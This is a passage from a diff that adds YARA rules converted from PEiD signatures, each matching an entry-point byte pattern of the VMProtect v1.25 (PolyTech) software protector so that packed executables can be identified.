+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 9D 5B 59 5E 5B 5D 58 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03018_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 58 5F 5F 5B 5A 59 5D 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03019_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 59 5F 5E 58 58 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03020_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 5E 58 59 5B 5F 5A 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03021_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5F 5D 5E 5B 58 59 5A 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03022_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5A 9D 5D 59 5B 59 5E 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03023_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 59 5E 5D 5F 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03024_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 5F 5A 5E 5D 9D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03025_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 5A 5F 59 5D 5D 5E 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03026_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 9D 5A 5F 5D 5A 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03027_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 59 5A 59 5E 5D 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03028_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5B 5D 5E 5B 5A 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03029_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5E 59 5E 5D 5B 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03030_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 9D 5F 5D 5E 5B 59 5A 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03031_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5A 5F 5B 5E 5D 5D 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03032_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5B 5D 5F 5E 5A 5F 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03033_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5E 58 5F 5D 59 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03034_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5F 5B 5B 5D 58 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03035_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5B 58 5A 5B 5F 5E 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03036_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5D 58 59 9D 5E 5A 5B 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03037_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5B 58 59 5D 9D 5D 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03038_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5F 58 5E 5D 9D 59 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03039_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 9D 5E 5D 58 5F 5A 59 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03040_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 58 5D 5F 9D 5A 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03041_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 59 5A 58 9D 5D 5B 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03042_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 9D 58 5D 5F 5A 5D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03043_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 58 5A 5E 9D 5D 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03044_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 5B 9D 59 5A 5D 58 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03045_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 9D 5A 5F 59 58 5D 5E 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03046_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5D 58 5F 59 5B 9D 5E 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03047_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5E 9D 58 5B 5F 59 58 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03048_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 59 59 5A 5E 5B 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03049_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5A 5E 5D 5B 58 9D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03050_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5E 5B 9D 58 5B 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03051_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5A 5D 5F 5B 5A 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03052_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5F 5D 5B 5A 59 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03053_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 58 5F 5D 58 5B 9D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03054_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 5F 5B 5D 58 5A 9D 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03055_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 59 5B 5A 58 5F 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03056_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 58 59 5B 5A 5F 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03057_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 5F 59 58 9D 5B 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03058_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5F 9D 5D 5B 58 5E 5A 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03059_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 59 5E 5F 5D 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03060_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 5F 5A 59 5D 9D 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03061_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 9D 5A 5D 5F 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03062_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5A 5B 59 5D 9D 59 5E 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03063_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 58 59 9D 5E 5B 5A 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03064_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 5E 58 5B 9D 59 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03065_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5E 9D 59 5A 5A 5B 58 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03066_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5F 5B 5A 9D 5E 5D 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03067_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5A 5F 5E 5D 5D 58 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03068_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5D 5B 5F 58 5E 5A 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03069_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 58 5B 5F 59 5D 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03070_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 58 5B 59 5B 5D 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03071_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 5D 58 5B 58 59 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03072_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5B 5D 5A 5F 59 5E 58 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03073_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5D 5A 5B 58 5F 5E 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03074_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5F 58 5A 5E 5D 5E 5B 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03075_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5D 5F 5B 9D 5A 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03076_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5F 5D 5B 5A 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03077_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 9D 5F 59 5A 5B 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03078_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5B 5D 5E 5A 5E 59 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03079_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5E 5F 5D 5A 58 5B 9D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03080_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5F 5E 5E 5A 5D 5B 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03081_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 9D 5B 5E 5A 5D 5F 5F 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03082_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5A 5B 9D 58 5E 5F 58 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03083_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5D 5A 5F 5E 58 9D 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03084_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5F 5B 5E 9D 58 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03085_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5D 9D 5E 5B 5A 5A 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03086_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5F 5E 5D 5A 5B 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03087_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 58 5D 5E 5D 5F 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03088_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 5F 58 5E 9D 5D 5F 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03089_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5D 5E 58 5F 59 5D 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03090_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5F 58 5D 5E 5D 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03091_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5F 5E 58 5D 59 5D 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03092_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5A 59 5E 9D 5E 5D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03093_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 58 9D 59 5A 5F 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03094_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 5E 5F 9D 5A 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03095_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 59 9D 5D 5A 5E 58 5F 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03096_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 5F 5E 5D 58 58 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03097_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 9D 58 5F 5E 5E 59 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03098_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5D 5F 5E 9D 58 5A 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03099_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5E 59 5F 5D 5D 9D 58 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03100_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 9D 5F 5D 58 5A 5E 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03101_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 59 5E 5A 58 5B 5F 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03102_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
